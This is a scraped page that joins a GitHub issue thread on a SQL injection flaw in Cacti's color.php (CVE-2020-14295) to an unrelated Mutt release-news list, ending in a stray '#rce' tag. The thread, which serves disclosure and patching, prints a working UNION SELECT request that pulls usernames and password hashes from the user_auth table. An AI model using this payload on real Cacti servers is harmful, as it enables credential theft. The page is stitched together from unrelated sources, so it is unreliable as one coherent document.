Not sure if that was already covered in our current CVE tracker. Have you tested against the very latest 1.2.x branch ?

I tried with that image which use the latest release : quantumobject/docker-cacti  
And the request :

    /cacti/color.php?action=export&header=false&filter=')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;-- -`
    

Is getting back the users and hash.

The code on this function haven't change in 3 years:

But the filter change 11 months ago and that change bring the issue.

*   The actual code (1.12.x branch):

*   before the issue Non regular expression search filters don't support international characters #2839 fix the code (v1.2.6) seems to be not vulnerable :

This was resolved some time ago in the 1.2.x branch.

> This was resolved some time ago in the 1.2.x branch.

Would you have a commit reference int the 1.2.x branch which is fixing the issue?

No this is **NOT** fixed.  
I just tried with a fresh checkout of 1.2.x. and the exploit still work.  
Please reopen @TheWitness

Mayfly277 pushed a commit to Mayfly277/cacti that referenced this issue

Jun 18, 2020

Mayfly277 pushed a commit to Mayfly277/cacti that referenced this issue

Jun 18, 2020

Thanks for verifying. And supplying a patch. Could you add the CVE number to the changelog ?

You have to be reviewing something other than the 1.2.x branch. Here is a screen capture of the 1.2.x branch. Tell me which part of this does not conform to your reasoning?

@Mayfly277, after re-reading, I think you are confused. It's "git clone -b 1.2.x ...". It's not "branch 1.12.x, it's 1.2.x.

I'll be damned. Where did that come from. Re-opening. Thanks for being persistent.

From Code: color.php always process filter by function sanitize_search_string.  
And sanitize_search_string will drop char ', , ; and )\`.  
Why your env can get SQL result.

In my test, final SQL like SQL below, all invalid char is dropped, and injection SQL around with single quot:

SELECT \*, 
        SUM(CASE WHEN local\_graph\_id\>0 THEN 1 ELSE 0 END) AS graphs, 
        SUM(CASE WHEN local\_graph\_id\=0 THEN 1 ELSE 0 END) AS templates 
    FROM (
        SELECT c.\*, local\_graph\_id 
        FROM colors AS c LEFT JOIN (
            SELECT color\_id, graph\_template\_id, local\_graph\_id FROM graph\_templates\_item WHERE color\_id\>0 
        ) AS gti ON c.id\=gti.color\_id 
    ) AS rs 
    WHERE (name LIKE '%1 UNION SELECT 1 username password 4 5 6 7 from user\_auth %' 
            OR hex LIKE '%1 UNION SELECT 1 username password 4 5 6 7 from user\_auth %') 
        AND read\_only\='on' 
    GROUP BY rs.id

 netniV changed the title \[security\] sqli as admin SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295)

Jul 12, 2020

CVE-2020-14295: SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295) · Issue #3622 · Cacti/cacti

Mutt before 1.14.3 allows an IMAP fcc/postpone man-in-the-middle attack via a PREAUTH response.

**Latest News****Git**

Recent Commits: Summary | RSS Feed

**Stable**

Mutt 2.2.3 was released on April 12, 2022. This is a bug-fix release, addressing a buffer overread in the uuencoded decoder (CVE-2022-1328), along with some other issues.

Mutt 2.2.2 was released on March 25, 2022. This is a bug-fix release, fixing an issue with history categories, query-menu behavior, and a couple other small issues.

Mutt 2.2.1 was released on February 19, 2022. This is a bug-fix release, fixing an issue with header/body cache naming.

Mutt 2.2.0 was released on February 12, 2022. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

Mutt 2.1.5 was released on December 30, 2021. This is a bug-fix release, fixing two SMTP authentication issues, a crash bug on NetBSD, and a couple other issues.

Mutt 2.1.4 was released on December 11, 2021. This is a bug-fix release, fixing a performance issue when used with DavMail.

Mutt 2.1.3 was released on September 10, 2021. This is a bug-fix release, fixing some of the fixes in the last release. IMAP and QRESYNC users are advised to upgrade.

Mutt 2.1.2 was released on August 24, 2021. This is an important bug-fix release, fixing a potential data-loss IMAP bug, a couple QRESYNC bugs, and a few other issues. IMAP users are strongly advised to upgrade.

Mutt 2.1.1 was released on July 12, 2021. This is a bug-fix release, fixing some redraw issues and a problem with the new List Menu for mbox mailboxes.

Mutt 2.1.0 was released on June 12, 2021. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

Mutt 2.0.7 was released on May 4, 2021. This is a bug-fix release, fixing a $imap\_qresync VANISHED handling bug, a crash when using an encrypted -H template file, and a couple other small issues.

Mutt 2.0.6 was released on March 6, 2021. This is a bug-fix release, with some cleanup and small fixes.

Mutt 2.0.5 was released on January 21, 2021. This is a bug-fix release, fixing a few memory leaks, including CVE-2021-3181.

Mutt 2.0.4 was released on December 30, 2020. This is a bug-fix release, fixing a mbox large-file support bug, and a sprinkle of other issues.

Mutt 2.0.3 was released on December 4, 2020. This is a bug-fix release, fixing a possible crash bug along with several other issues.

Mutt 2.0.2 was released on November 20, 2020. This is an important bug-fix release, addressing CVE-2020-28896.

Mutt 2.0.1 was released on November 14, 2020. This is a bug-fix release, fixing a compilation issue on some platforms.

Mutt 2.0.0 was released on November 7, 2020. This release has new features, bug fixes, and a few backward incompatible changes. Please read the release notes, and see the UPDATING file for all the changes.

Mutt 1.14.7 was released on August 29, 2020. This is a bug-fix release, fixing a variety of small issues.

Mutt 1.14.6 was released on July 11, 2020. This is a bug-fix release, fixing an error resetting access-time for relative path mailboxes.

Mutt 1.14.5 was released on June 23, 2020. This fixes a regression when using $tunnel to connect to a preauthenticated IMAP connection.

Mutt 1.14.4 was released on June 18, 2020. This is an important bug-fix release. It fixes a possible machine-in-the-middle response injection attack when using STARTTLS with IMAP, POP3, and SMTP (CVE-2020-14954).

Mutt 1.14.3 was released on June 14, 2020. This is an important bug-fix release. It fixes a possible IMAP fcc/postpone machine-in-the-middle attack (CVE-2020-14093). It also fixes some GnuTLS certificate prompt issues.

Mutt 1.14.2 was released on May 25, 2020. This is a bug-fix release, fixing a few prompt buffer-size issues and adding a potential DoS mitigation.

Mutt 1.14.1 was released on May 16, 2020. This is a bug-fix release, fixing a documentation build issue and a few other small bugs.

Mutt 1.14.0 was released on May 2, 2020. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

Mutt 1.13.5 was released on March 28, 2020. This is a bug-fix release, fixing a use-after-free bug, and a couple format string processing bugs.

Mutt 1.13.4 was released on February 15, 2020. This is a bug-fix release, fixing a possible memory corruption bug when sync'ing imap mailboxes, improving large-threaded mailbox opening speed, and reverting $ssl\_force\_tls to default unset.

Mutt 1.13.3 was released on January 12, 2020. This is a bug-fix release, fixing exit screen handling and a possible segfault on imap-logout-all.

Mutt 1.13.2 was released on December 18, 2019. This is a bug-fix release, reverting an incorrect cleanup change to mutt\_dotlock made in 1.13.0.

Mutt 1.13.1 was released on December 14, 2019. This is a bug-fix release, fixing two crash bugs involving IMAP and the postpone menu. It also reverts by default the 1.13.0 sidebar display changes. See the UPDATING file for more details.

Mutt 1.13.0 was released on November 30, 2019. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

Mutt 1.12.2 was released on September 21, 2019. This is a bug-fix release, fixing file monitor compilation on older systems, and application/pgp-encrypted attachment handling for sent emails.

Mutt 1.12.1 was released on June 15, 2019. This is a bug-fix release, fixing issues with $forward\_attachments, IMAP new mail detection, IMAP fcc'ing, and a build issue on OpenBSD. Additionally $fcc\_before\_send was added. See the UPDATING file for more details.

Mutt 1.12.0 was released on May 25, 2019. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

Mutt 1.11.4 was released on March 13, 2019. This is a bug-fix release, fixing a Gmail $trash bug that could end up deleting incorrect messages.

Mutt 1.11.3 was released on February 1, 2019. This is a bug-fix release, fixing compilation with LibreSSL and various other bug fixes.

Mutt 1.11.2 was released on January 7, 2019. This is a bug-fix release, fixing compilation with the latest OpenSSL version and various other bug fixes.

Mutt 1.11.1 was released on December 1, 2018 (the "A Chorus Line" release). This is a bug-fix release, fixing a crash in the new $imap\_qresync code.

Mutt 1.11.0 was released on November 25, 2018. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

Mutt 1.10.1 was released on July 16, 2018. This is an important bug-fix release, fixing a code injection and a couple path traversal vulnerabilities.

Mutt 1.10.0 was released on May 19, 2018. This release has new features and bug fixes. See the UPDATING file, or for more details see the release notes page.

more news

Tag

#rce